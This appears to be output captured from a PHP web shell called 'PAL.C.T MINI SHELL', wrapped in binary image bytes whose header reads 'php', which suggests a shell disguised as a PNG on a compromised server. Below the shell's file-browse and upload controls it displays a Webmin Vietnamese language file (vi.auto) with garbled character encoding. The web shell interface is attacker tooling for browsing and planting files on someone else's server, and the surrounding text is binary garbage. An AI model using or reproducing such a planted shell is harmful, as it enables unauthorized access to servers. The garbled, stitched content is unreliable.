‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/status/lang/
upload
files >> //usr/libexec/webmin/status/lang/vi.auto

index_title=Trạng thái hệ thống và máy chủ
index_name=Tên dịch vụ
index_host=Trên máy chủ
index_desc=Giám sát
index_up=Trạng thái
index_last=Kiểm tra cuối cùng
index_local=Äịa phương
index_add=Thêm màn hình loại:
index_sched=Giám sát theo lịch trình
index_scheddesc=Bật hoặc tắt kiểm tra màn hình theo lịch trình và đặt địa chỉ mà các lỗi được tự động gửi qua email.
index_return=danh sách dịch vụ
index_none=Không có màn hình hiện đang được xác định.
index_oldtime=Trạng thái từ kiểm tra theo lịch trình cuối cùng ở $1 
index_esnmp=Mô-đun được định cấu hình để gửi bẫy SNMP trên trang <a href='$3'>Cấu hình mô-đun</a>, nhưng mô-đun $1 Perl chưa được cài đặt. <a href='$2'>Nhấp vào đây</a> để tải xuống và cài đặt ngay.
index_refresh=lam mơi tâm trạng
index_refreshdesc=Thực hiện làm mới ngay lập tức tất cả các trạng thái màn hình, thay vì chỠcập nhật theo lịch trình tiếp theo.
index_delete=Xóa đã chá»n
index_refsel=Làm má»›i được chá»n
index_group=Thành viên của $1 
index_tmpls=Chỉnh sửa mẫu email
index_tmplsdesc=Xem và chỉnh sửa các mẫu được sử dụng để tạo thư email được gửi khi các dịch vụ được giám sát ngừng hoạt động.

type_apache=Máy chủ web Apache
type_inetd=Máy chủ Internet và RPC
type_xinetd=Máy chủ Internet mở rộng
type_squid=Máy chủ Proxy mực
type_bind8=Máy chủ DNS BIND
type_dnsadmin=Máy chủ DNS BIND 4
type_dhcpd=DHCP server
type_tcp=Dịch vụ TCP từ xa
type_http=Dịch vụ HTTP từ xa
type_sslcert=Chứng chỉ SSL
type_ftp=Dịch vụ FTP từ xa
type_sendmail=Máy chủ Sendmail
type_postfix=Máy chủ Postfix
type_fail2ban=Máy chủ Fail2Ban
type_ping=Ping từ xa
type_proc=Kiểm tra quá trình
type_mysql=Máy chủ cơ sở dữ liệu MySQL
type_postgresql=Máy chủ cơ sở dữ liệu PostgreSQL
type_samba=Máy chủ Samba
type_nfs=Máy chủ NFS
type_exec=Lệnh thực thi
type_file=Kiểm tra tệp hoặc thư mục
type_traffic=Lưu lượng mạng
type_space=Dung lượng đĩa
type_du=Kích thước thư mục
type_consume=Tiêu thụ dung lượng đĩa
type_load=Tải trung bình
type_change=Thay đổi tệp hoặc thư mục
type_oldfile=Tệp không thay đổi
type_qmailadmin=Máy chủ QMail
type_mon=Giám sát dịch vụ MON
type_jabber=Máy chủ IM Jabber
type_usermin=Máy chủ web Usermin
type_portsentry=Daentry
type_hostsentry=Chủ nhà Daemon
type_webmin=Máy chủ webmin
type_cfengine=Cấu hình Daemon Engine
type_memory=Giải phóng bộ nhớ
type_proftpd=Máy chủ ProFTPD
type_dovecot=Máy chủ Dovecot IMAP/POP3
type_mailserver=Phản hồi của Mailserver
type_sshd=Máy chủ SSH
type_raid=Trạng thái thiết bị RAID
type_iface=Trạng thái giao diện mạng
type_init=Hành động khởi động
type_sensors=Trạng thái cảm biến LM
type_nut=NUT Giá trị UPS
type_mailq=Kích thước hàng đợi thư
type_dns=Tra cứu DNS
type_query=Truy vấn SQL
type_alive=Hệ thống sống
type_rssh=SSH từ xa
type_slapd=Máy chủ LDAP
type_ldap=Kết nối LDAP

mon_create=Tạo màn hình
mon_edit=Chỉnh sửa màn hình
mon_virtualmin=Cảnh báo! Màn hình này được liên kết vá»›i miá»n Virtualmin $1, do đó bạn không nên chỉnh sá»­a hoặc xóa tại đây.
mon_header=Giám sát chi tiết
mon_header2=Các lệnh để chạy
mon_header3=Tùy chá»n dịch vụ được giám sát
mon_desc=Sự miêu tả
mon_remote=Chạy trên máy chủ
mon_remotes2=Chạy trên máy chủ và nhóm
mon_local=Äịa phương
mon_none=Không có máy chủ từ xa được xác định
mon_nosched=Kiểm tra đúng tiến độ?
mon_warndef=Có và sử dụng chế độ báo cáo mặc định
mon_warn1=Có, và báo cáo vỠthay đổi trạng thái
mon_warn0=Có, và báo cáo khi đi xuống
mon_warn2=Có, và báo cáo khi xuống
mon_warn3=Có, nhưng không bao giỠbáo cáo
mon_status=Tình trạng hiện tại
mon_up=Lên
mon_down=Xuống
mon_webmin=Webmin Xuống
mon_timeout=Hết giá»
mon_not=Chưa cài đặt
mon_ondown=Nếu màn hình bị há»ng, hãy chạy lệnh
mon_onup=Nếu màn hình xuất hiện, hãy chạy lệnh
mon_ontimeout=Nếu hết thá»i gian giám sát, hãy chạy lệnh
mon_clone=Mô-đun để giám sát
mon_err=Không thể lưu màn hình
mon_edesc=Thiếu mô tả
mon_elogin=Äăng nhập không hợp lệ cho RPC trên máy chá»§ Webmin $1 
mon_eremote2=Không thể liên lạc với máy chủ Webmin $1 : $2 
mon_estatus=Máy chủ Webmin $1 không có mô đun Trạng thái hệ thống và máy chủ
mon_ecannot=Bạn không được phép chỉnh sửa màn hình
mon_ertype=Loại màn hình này không khả dụng trên $1 
mon_etype=Tên loại màn hình không hợp lệ
mon_runon=Chạy các lệnh trên
mon_runon0=Máy chủ này
mon_runon1=Máy chủ từ xa
mon_oninfo=Lưu ý: Các lệnh sẽ chỉ được chạy khi email được gửi
mon_fails=Thất bại trước khi báo cáo
mon_efails=Thiếu hoặc không hợp lệ số lần thất bại
mon_notify=Phương pháp thông báo
mon_notifyemail=E-mail
mon_notifypager=Máy nhắn tin
mon_notifysnmp=SNMP
mon_notifysms=tin nhắn
mon_email=Äồng thá»i gá»­i email cho dịch vụ này tá»›i
mon_depend=Äừng kiểm tra nếu màn hình bị há»ng
mon_edepend=Một màn hình không thể phụ thuộc vào chính nó
mon_clone2=Bản sao
mon_skip=Bá» qua
mon_empty=Không có thành viên
mon_onemem=Một thành viên
mon_members=$1 thành viên
mon_enoremote=Không có máy chá»§ hoặc nhóm để chạy trên đã chá»n
mon_tmpl=Mẫu tin nhắn
mon_notmpl=Không có (sử dụng mặc định Webmin)
mon_header4=Lịch sử trạng thái
mon_hwhen=Ngày kiểm tra
mon_hold=Tình trạng cũ
mon_hnew=Trạng thái mới
mon_hvalue=Giá trị
mon_changes0=Hiển thị má»i loại sá»± kiện
mon_changes1=Chỉ hiển thị thay đổi
mon_all=Hiển thị tất cả các sự kiện lịch sử
mon_nochanges=Không có thay đổi trạng thái xảy ra trong các sự kiện lịch sử $1 vừa qua.

sched_title=Giám sát theo lịch trình
sched_header=Tùy chá»n giám sát ná»n theo lịch trình
sched_mode=Kiểm tra theo lịch trình kích hoạt?
sched_email=Báo cáo trạng thái email đến
sched_pager=Trang báo cáo trạng thái số
sched_none=Äừng gá»­i email
sched_pnone=Äừng gá»­i trang
sched_from=Từ: địa chỉ email
sched_int=Kiểm tra má»i
sched_period_0=phút
sched_period_1=giá»
sched_period_2=ngày
sched_period_3=tháng
sched_period_4=tuần
sched_offset=có bù
sched_warn=Gá»­i email khi
sched_warn1=Khi một dịch vụ thay đổi trạng thái
sched_warn0=Khi một dịch vụ ngừng hoạt động
sched_warn3=Miễn là dịch vụ lên
sched_warn2=Bất cứ lúc nào dịch vụ Ä‘á»u ngừng hoạt động
sched_single=Gửi một email cho mỗi dịch vụ?
sched_hours=Chạy màn hình trong giá»
sched_days=Chạy màn hình vào những ngày
sched_err=Không thể lưu theo dõi theo lịch trình
sched_eemail=Thiếu địa chỉ email
sched_eint=Thiếu hoặc không hợp lệ khoảng
sched_eoffset=Thiếu hoặc bù không hợp lệ
sched_ehours=Không có giỠđể chạy trong khi chá»n
sched_edays=Không có ngày để chạy trên đã chá»n
sched_ecannot=Bạn không được phép chỉnh sửa theo dõi theo lịch trình
sched_smtp=Gửi thư qua
sched_smtp_prog=Máy chủ thư cục bộ
sched_smtp_server=máy chủ SMTP
sched_esmtp=Máy chủ SMTP bị thiếu hoặc không hợp lệ
sched_esmtpcmd=Lệnh SMTP $1 không thành công : $2 
sched_eemailserver=Máy chủ thư của bạn chưa được cài đặt : $1 
sched_sms=Gửi tin nhắn SMS đến
sched_smsno=Không ai
sched_smscarrier=Äiện thoại trên mạng
sched_smsnumber=với số
sched_esmsnumber=Số SMS bị thiếu hoặc không phải là số
sched_esmsname=Số SMS bị thiếu hoặc không hợp lệ
sched_subject=Dòng tiêu đỠcho tin nhắn SMS
sched_subject0=Không có (cảnh báo là trong cơ thể)
sched_subject1=Văn bản cảnh báo (để trống cơ thể)
sched_subject2=Văn bản tùy chỉnh
sched_esubject=Thiếu chủ đỠtin nhắn SMS

up_since=Lên từ $1 
depends_mod=Mô-đun $1 không được cài đặt trên hệ thống của bạn
depends_os=Mô-đun $1 không được hỗ trợ trên hệ thống của bạn
depends_remote=Mô-đun $1 không được hỗ trợ trên máy chủ $2 

tcp_host=Máy chủ để kết nối với
tcp_port=Cổng để kết nối với
tcp_alarm=Hết thá»i gian kết nối
tcp_ehost=Tên máy chủ bị thiếu hoặc không hợp lệ
tcp_eport=Số cổng bị thiếu hoặc không hợp lệ
tcp_ealarm=Hết thá»i gian chá» kết nối bị thiếu hoặc không hợp lệ

http_url=URL để yêu cầu
http_alarm=Hết thá»i gian kết nối
http_eurl=URL bị thiếu hoặc không hợp lệ
http_ealarm=Hết thá»i gian chá» kết nối bị thiếu hoặc không hợp lệ
http_login=Vào
http_none=Không xác thực
http_user=tên tài khoản
http_pass=mật khẩu
http_euser=Thiếu tên ngưá»i dùng
http_method=Phương thức yêu cầu HTTP
http_regexp=Trang phải phù hợp với regrec
http_eregexp=Không có biểu thức chính quy cho trang để khớp
http_none2=Không khớp
http_ehead=Phương thức yêu cầu CHÃNH không thể được sá»­ dụng khi kiểm tra biểu thức chính quy
http_codes=Mã trạng thái HTTP được chấp nhận
http_codes_def=Mặc định ($1)
http_ecodes=Không có mã HTTP nào để chấp nhận đã nhập
http_ecodes3=Mã HTTP phải là một số có ba chữ số

ping_host=Lưu trữ để ping
ping_wait=Thá»i gian chá» phản hồi
ping_ehost=Tên máy chủ bị thiếu hoặc không hợp lệ
ping_ewait=Thá»i gian chá» thiếu hoặc không hợp lệ
ping_econfig=Không có lệnh ping nào được đặt trong Module Config
ping_timeout=Hết thá»i gian chá» sau $1 giây
ping_resolv=Không phân giải được tên máy chủ

proc_pid=Chạy với PID $1 
proc_cmd=Lệnh kiểm tra
proc_not=Thất bại nếu quá trình là
proc_not0=Không chạy
proc_not1=Äang chạy
proc_ecmd=Thiếu lệnh
proc_thresh=Số lượng quá trình phải tồn tại cho <br> màn hình để xem xét chúng đang chạy
proc_ethresh=Số lượng quá trình bị thiếu hoặc không hợp lệ
proc_asuser=Chạy như ngưá»i dùng
proc_anyuser=Bất kỳ ngưá»i dùng
proc_easuser=Ngưá»i dùng cho quá trình chạy như không tồn tại

exec_cmd=Lệnh chạy
exec_mode=Kiểm tra trạng thái thoát
exec_mode0=Màn hình bị lỗi nếu lệnh thất bại
exec_mode1=Giám sát lỗi nếu lệnh thành công
exec_mode2=BỠqua thành công hay thất bại
exec_ecmd=Thiếu lệnh
exec_regexp=So sánh đầu ra với regrec
exec_noregexp=Äừng kiểm tra
exec_remode=Kiểm tra lại
exec_remode0=Thất bại nếu đầu ra không khớp
exec_remode1=Thất bại nếu đầu ra không khớp

file_file=Tệp, thư mục hoặc mẫu để kiểm tra
file_test=Kiểm tra để thực hiện
file_test_0=Phải tồn tại
file_test_1=Không được tồn tại
file_test_2=Kích thước phải lớn hơn
file_test_3=Kích thước phải nhỠhơn
file_bytes=byte
file_efile=Thiếu tên tập tin hoặc thư mục để kiểm tra
file_esize=Kích thước tệp không hợp lệ
file_elarge=Tệp quá lớn : $1 
file_esmall=Tệp quá nhỠ: $1 
file_eowner=Tệp có chủ sở hữu sai : $1 
file_egroup=Các tệp có nhóm sai : $1 
file_owner=Chủ sở hữu tệp phải là
file_group=Nhóm tệp phải là
file_nocheck=Bất cứ Ä‘iá»u gì
file_perms=Quyá»n hạn bát phân phải là
file_eperm=Các tệp có quyá»n sai : $1 

traffic_iface=Giao diện giám sát
traffic_bytes=Byte tối đa/giây
traffic_dir=Hướng giám sát
traffic_dir0=Äến và Ä‘i
traffic_dir1=Chỉ đến
traffic_dir2=Chỉ đi
traffic_desc=Màn hình này theo dõi lưu lượng mạng trên má»™t giao diện đã chá»n và hiển thị màn hình xuống nếu lưu lượng vượt quá số byte má»—i giây được nhập bên dưới. Äiá»u này chỉ thá»±c sá»± hoạt động tốt nếu tính năng giám sát theo lịch được bật ở má»™t khoảng thá»i gian ngắn, như cứ sau 5 phút.
traffic_eifaces=Hệ Ä‘iá»u hành cá»§a bạn không có tệp/Proc/net/dev
traffic_ebytes=Thiếu hoặc không hợp lệ số byte/giây

space_fs=Hệ thống tập tin để kiểm tra
space_min2=Không gian trống tối thiểu
space_mode0=Kích thước tuyệt đối
space_mode1=Tỷ lệ phần trăm của tổng số
space_desc=$1 miễn phí
space_nofs=Hệ thống tập tin không được gắn kết
space_other=Khác ..
space_emin=Thiếu không gian trống hoặc không hợp lệ
space_epc=Phần trăm không gian trống bị thiếu hoặc không hợp lệ
space_eother=Hệ thống tập tin bị thiếu hoặc không hợp lệ
space_inode=Inodes miễn phí tối thiểu
space_ierr=Chỉ $1 inodes miễn phí
space_merr=Chỉ $1 dung lượng trống
space_perr=Chỉ $1% miễn phí
space_dferr=Không thể lấy kích thước hệ thống tập tin

load_time=Tải trung bình để kiểm tra
load_1=1 phút
load_5=5 phút
load_15=15 phút
load_max=Tải trung bình tối đa
load_emax=Thiếu trung bình tải tối đa hoặc không hợp lệ
load_ecmd=Không tìm thấy lệnh <tt>thá»i gian hoạt động</tt> trên hệ thống cá»§a bạn
load_efmt=Không thể phân tích cú pháp đầu ra cá»§a lệnh <tt>thá»i gian hoạt động</tt>

log_create=Äã tạo màn hình $1 
log_modify=Màn hình đã sửa đổi $1 
log_delete=Äã xóa màn hình $1 
log_sched=Thay đổi theo dõi lịch trình
log_deletes=Äã xóa $1 màn hình
log_tmpl_create=Äã tạo mẫu email $1 
log_tmpl_modify=Mẫu email đã sửa đổi $1 
log_tmpl_delete=Äã xóa mẫu email $1 
log_tmpl_deletes=Äã xóa mẫu $1 email
log_refresh=Trạng thái màn hình được làm mới

acl_edit=Có thể chỉnh sửa và tạo màn hình?
acl_sched=Có thể thay đổi theo dõi lịch trình?

change_file=Tệp hoặc thư mục để theo dõi (thất bại nếu thay đổi)

jabber_eparser=Mô-đun Perl $1 không được cài đặt trên hệ thống của bạn.

memory_min2=Bộ nhớ thực tối thiểu miễn phí
memory_emin=Bộ nhớ thực miễn phí hoặc không hợp lệ
memory_eproc=Webmin không biết cách kiểm tra bá»™ nhá»› trống trên hệ Ä‘iá»u hành cá»§a bạn
memory_free2=$1 bộ nhớ thực miễn phí
memory_freeswap=$1 bộ nhớ ảo miễn phí
memory_freelow=Chỉ có $1 bộ nhớ thực miễn phí
memory_freelowswap=Chỉ có $1 bộ nhớ ảo miễn phí
memory_minswap=Bộ nhớ ảo miễn phí tối thiểu
memory_eminswap=Bộ nhớ ảo miễn phí hoặc không hợp lệ

proftpd_etype=Màn hình này không thể được sử dụng khi ProFTPD chạy độc lập

mailserver_to=Gửi email đến địa chỉ
mailserver_timeout=Thá»i gian chá» và khoảng thá»i gian
mailserver_units_0=Giây
mailserver_units_1=Phút
mailserver_units_2=Giá»
mailserver_units_3=Ngày
mailserver_desc=Äịa chỉ bên dưới phải là thư trả lá»i tá»± động trả lá»i địa chỉ nguồn có cùng dòng Chá»§ đỠ:.

oldfile_file=Tệp để theo dõi (không thành công nếu không thay đổi)
oldfile_diff=Thất bại nếu không thay đổi cho
oldfile_secs=giây

raid_device=Thiết bị RAID
raid_edevice=Không có thiết bị RAID nào được chá»n
raid_bad=Phát hiện đĩa xấu
raid_resync=Hiện đang đồng bộ lại
raid_notfound=Không tìm thấy thiết bị RAID $1 
raid_other=Khác ..

iface_iface=Giao diện để kiểm tra

init_action=Hành động để kiểm tra
init_eaction=Không có hành động nào được chá»n

refresh_title=lam mơi tâm trạng
refresh_doing=Làm mới trạng thái của tất cả các màn hình ..
refresh_doing2=Làm má»›i trạng thái cá»§a $1 màn hình đã chá»n ..
refresh_done=.. làm xong.

sensors_name=Cảm biến để kiểm tra
sensors_value=Thất bại khi
sensors_value0=Hệ thống chỉ ra cảnh báo
sensors_value1=Giá trị dưới $1 
sensors_value2=Giá trị trên $1 
sensors_cmd=Lệnh <tt>cảm biến</tt> không được cài đặt trên hệ thống của bạn. Màn hình này yêu cầu gói lm_sensors được cài đặt để hoạt động.
sensors_none=Không có cảm biến được phát hiện trên hệ thống của bạn. Bạn có thể cần chạy lệnh khởi tạo <tt>cảm biến</tt>.
sensors_cur=$1 (hiện tại $2 $3)
sensors_emin=Thiếu hoặc giá trị tối thiểu không hợp lệ
sensors_emax=Thiếu hoặc không hợp lệ giá trị tối đa

nut_ups=NUT UPS để kiểm tra
nut_name=Thuộc tính để kiểm tra
nut_value=Thất bại khi
nut_value1=Giá trị dưới $1 
nut_value2=Giá trị trên $1 
nut_cmd=Lệnh <tt>upsc</tt> không được cài đặt trên hệ thống của bạn. Màn hình này yêu cầu gói NUT được cài đặt và cấu hình để hoạt động.
nut_eups=Không có USP để kiểm tra đã nhập
nut_cur=$1 (hiện tại $2)
nut_emin=Thiếu hoặc giá trị tối thiểu không hợp lệ
nut_emax=Thiếu hoặc không hợp lệ giá trị tối đa

mailq_system=Máy chủ thư
mailq_qmailadmin=Qmail
mailq_postfix=Hậu tố
mailq_sendmail=Gửi thư
mailq_size=Kích thước hàng đợi thư tối đa
mailq_esize=Kích thước hàng đợi tối đa bị thiếu hoặc không hợp lệ
mailq_toomany=Xuống - $1 tin nhắn được xếp hàng
mailq_ok=Lên - $1 tin nhắn được xếp hàng

dns_server=máy chủ DNS
dns_host=Tên máy chủ để tra cứu
dns_address=Äịa chỉ IP dá»± kiến
dns_eserver=Máy chủ DNS bị thiếu hoặc không hợp lệ
dns_ehost=Tên máy chủ bị thiếu hoặc không hợp lệ để tra cứu
dns_eaddress=Äịa chỉ IP dá»± kiến bị thiếu hoặc không hợp lệ
dns_ecmds=Cả các lệnh <tt>nslookup</tt> hoặc <tt>dig</tt> Ä‘á»u được cài đặt trên hệ thống cá»§a bạn

monitor_sub_down=$1 giảm trên $2 
monitor_pager_down=$1 : "$2" giảm $3 
monitor_snmp_down= $1:$2 
monitor_email_down=Theo dõi $1 với '$2' đã phát hiện ra rằng dịch vụ đã giảm ở $3 
monitor_sub_up=$1 sao lưu trên $2 
monitor_pager_up=$1 : "$2" đã sao lưu $3 
monitor_snmp_up= $1:$2 đã sao lưu
monitor_email_up=Theo dõi $1 với '$2' đã phát hiện ra rằng dịch vụ đã hoạt động trở lại ở $3 
monitor_sub_un=$1 đã gỡ cài đặt trên $2 
monitor_pager_un=$1 : "$2" đã gỡ cài đặt $3 
monitor_snmp_un=Äã gỡ cài đặt $1:$2 
monitor_email_un=Theo dõi $1 với '$2' đã phát hiện ra rằng dịch vụ được gỡ cài đặt ở $3 
monitor_sub_webmin=$1 Webmin giảm trên $2 
monitor_pager_webmin=$1 : "$2" Webmin giảm $3 
monitor_snmp_webmin= $1:$2 Webmin xuống
monitor_email_webmin=Theo dõi $1 với '$2' đã phát hiện thấy Webmin giảm ở $3 
monitor_sub_timed=$1 đã hết thá»i gian trên $2 
monitor_pager_timed=$1 : "$2" đã hết thá»i gian $3 
monitor_snmp_timed=Äã hết thá»i gian $1:$2 
monitor_email_timed=Theo dõi $1 cho '$2' đã hết thá»i gian ở $3 
monitor_sub_isdown=$1 giảm trên $2 
monitor_pager_isdown=$1 : "$2" giảm $3 
monitor_snmp_isdown= $1:$2 
monitor_email_isdown=Theo dõi $1 cho '$2' đã phát hiện ra rằng dịch vụ giảm ở $3 
monitor_sub_isup=$1 lên trên $2 
monitor_pager_isup=$1 : "$2" tăng $3 
monitor_snmp_isup=$1:$2 
monitor_email_isup=Theo dõi trên $1 cho '$2' đã phát hiện thấy rằng dịch vụ tăng ở mức $3 
monitor_sub=Giám sát dịch vụ : $1 
monitor_sub2=Giám sát dịch vụ
monitor_sub3=Giám sát dịch vụ: $1 dịch vụ
monitor_run1=Chạy $1 trên $2 ..
monitor_run2=Chạy $1 ..
monitor_runerr=Không thể chạy $1 trên $2 : $3 
monitor_email_stat=Trạng thái hiện tại: $1 

deletes_egone=Má»™t trong những màn hình được chá»n không còn tồn tại
deletes_enone=Không có màn hình được chá»n

ftp_host=Máy chủ FTP
ftp_port=Cổng FTP
ftp_user=Äăng nhập vá»›i tư cách ngưá»i dùng
ftp_anon=Vô danh
ftp_pass=Với mật khẩu
ftp_file=Tập tin để tìm nạp
ftp_none=Không có (chỉ cần đăng nhập)
ftp_ehost=Máy chủ FTP bị thiếu hoặc không hợp lệ
ftp_eport=Cổng máy chủ FTP bị thiếu hoặc không hợp lệ
ftp_efile=Thiếu tệp hoặc không hợp lệ để tải xuống
ftp_tls=Sử dụng mã hóa TLS?
ftp_etls=TLS không thể được bật trừ khi cài đặt mô đun $1 Perl
ftp_econn=Kết nối FTP TLS không thành công
ftp_econn2=Kết nối FTP TLS không thành công : $1 
ftp_elogin=Äăng nhập FTP TLS không thành công : $1 
ftp_etlsfile=Tải xuống TLS FTP không thành công : $1 

query_driver=Kiểu cơ sở dữ liệu SQL
query_db=Tên cơ sở dữ liệu
query_host=Máy chủ cơ sở dữ liệu
query_local=Máy chủ này
query_user=Äăng nhập vá»›i tư cách ngưá»i dùng
query_pass=Äăng nhập bằng mật khẩu
query_sql=Truy vấn SQL để thực thi
query_result=Kết quả mong đợi
query_ignore=BỠqua kết quả
query_edriver=Mô-Ä‘un trình Ä‘iá»u khiển Perl $1 chưa được cài đặt
query_edb=Tên cơ sở dữ liệu bị thiếu hoặc không hợp lệ
query_ehost=Tên máy chủ cơ sở dữ liệu bị thiếu hoặc không hợp lệ
query_euser=Tên sử dụng không hợp lệ
query_epass=Mật khẩu không hợp lệ
query_esql=Thiếu truy vấn SQL
query_eresult=Thiếu kết quả mong đợi
query_elogin=Äăng nhập thất bại : $1 
query_eprepare=Lá»—i SQL : $1 
query_eexecute=SQL thất bại : $1 
query_ewrong=Kết quả không chính xác : $1 

consume_rate=Tốc độ tiêu thụ tối đa (mỗi giây)
consume_high=Tỷ lệ tiêu thụ là $1 / giây

alive_up=Lên $1 

rssh_host=Máy chủ SSH
rssh_ruser=Äăng nhập vá»›i tư cách ngưá»i dùng
rssh_rpass=Äăng nhập bằng mật khẩu
rssh_nopass=Không yêu cầu
rssh_nologin=Äừng cố đăng nhập
rssh_ehost=Máy chủ SSH bị thiếu hoặc không hợp lệ
rssh_eruser=Thiếu tên ngưá»i dùng
rssh_ecmd=Lệnh <tt>ssh</tt> không được cài đặt trên hệ thống của bạn
rssh_eproc=Mô-đun Running Processes không được hỗ trợ trên hệ thống của bạn
rssh_wrongpass=Äăng nhập sai
rssh_failed=Kết nối thất bại
rssh_error=Lá»—i SSH
rssh_haspass=Mật khẩu
rssh_port=Cổng máy chủ SSH
rssh_eport=Số cổng bị thiếu hoặc không hợp lệ

tmpls_title=mẫu thư điện tử
tmpls_ecannot=Bạn không được phép chỉnh sửa các mẫu email
tmpls_none=Không có mẫu email nào được xác định. Tất cả các cảnh báo sẽ được gửi bằng các tin nhắn mặc định của Webmin.
tmpls_desc=Sự miêu tả
tmpls_email=Tin nhắn điện tử
tmpls_add=Thêm một mẫu email mới.
tmpls_return=danh sách mẫu
tmpls_delete=Xóa các mẫu đã chá»n

tmpl_title1=Tạo mẫu email
tmpl_title2=Chỉnh sửa mẫu email
tmpl_header=Thông báo mẫu email
tmpl_desc=Mô tả mẫu
tmpl_email=Tin nhắn điện tử
tmpl_sms=Tin nhắn SMS
tmpl_sms1=Webmin mặc định
tmpl_sms0=Tin nhắn tùy chỉnh bên dưới ..
tmpl_snmp=Tin nhắn nhắn tin
tmpl_instr=Hướng dẫn và thay thế
tmpl_subs=Email, tin nhắn SMS và tin nhắn nhắn tin được xác định trên trang này có thể sử dụng các thay thế sau :
tmpl_subs_desc=Dịch vụ Mô tả
tmpl_subs_host=Máy chủ được theo dõi
tmpl_subs_date=Ngay hiện tại
tmpl_subs_time=Thá»i Ä‘iểm hiện tại
tmpl_subs_status=Trạng thái dịch vụ, chẳng hạn như <i>Xuống</i>
tmpl_subs2=Ngoài ra, bạn có thể sá»­ dụng các khối có Ä‘iá»u kiện như: <tt>$1 Dịch vụ giảm $2 Dịch vụ là OK $3</tt>
tmpl_err=Không thể lưu mẫu email
tmpl_edesc=Thiếu mô tả mẫu
tmpl_emsg=Thiếu tin nhắn email
tmpl_esms=Thiếu tin nhắn SMS
tmpl_esnmp=Thiếu tin nhắn SNMP
tmpl_err2=Không thể xóa mẫu email
tmpl_eusers=Nó được sử dụng bởi các màn hình sau : $1 

dtmpls_err=Không thể xóa mẫu
dtmpls_enone=Không được chá»n
dtmpls_eusers=$1 được sử dụng bởi các màn hình sau : $2 

sslcert_src=Äịa Ä‘iểm chứng nhận
sslcert_url=Từ URL HTTPS
sslcert_file=Từ tệp trên máy chủ
sslcert_eurl=URL bị thiếu, không hợp lệ hoặc không có SSL
sslcert_efile=Tệp chứng chỉ bị thiếu hoặc không hợp lệ
sslcert_ecert=Không thể có được chứng chỉ
sslcert_edown=Máy chủ web ngừng hoạt động
sslcert_days=Ngày trước khi hết hạn để thất bại
sslcert_when=Khi hết hạn
sslcert_mismatch=Cũng phát hiện tên máy chủ không khớp?
sslcert_edays=Số ngày bị thiếu hoặc không hợp lệ
sslcert_eopenssl=Lệnh <tt>openssl</tt> là cần thiết để kiểm tra chứng chỉ
sslcert_estart=Không có giá trị cho đến $1 
sslcert_eend=Không hợp lệ sau $1 
sslcert_left=Lên - $1 ngày cho đến khi hết hạn
sslcert_ematch=Tên máy chủ $1 không khớp với chứng chỉ $2 
sslcert_emismatch=Kiểm tra tên máy chủ chứng chỉ chỉ có thể được sử dụng khi kiểm tra URL

du_dir=Thư mục để theo dõi
du_max=Kích thước tối đa
du_edir=ÄÆ°á»ng dẫn thư mục bị thiếu hoặc không tuyệt đối
du_emax=Thiếu kích thước tối đa hoặc không số
du_over=Kích thước là $1 
du_under=Kích thước chỉ $1 

ldap_edriver=Mô-đun Perl $1 chưa được cài đặt
ldap_host=Tên máy chủ LDAP
ldap_port=Cổng máy chủ LDAP
ldap_ssl=Sử dụng kết nối SSL?
ldap_user=Äăng nhập máy chá»§ LDAP
ldap_pass=Mật khẩu máy chủ LDAP

info_desc=Giám sát hệ thống
info_last=Tình trạng hiện tại
info_title=Trạng thái hệ thống và máy chủ
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚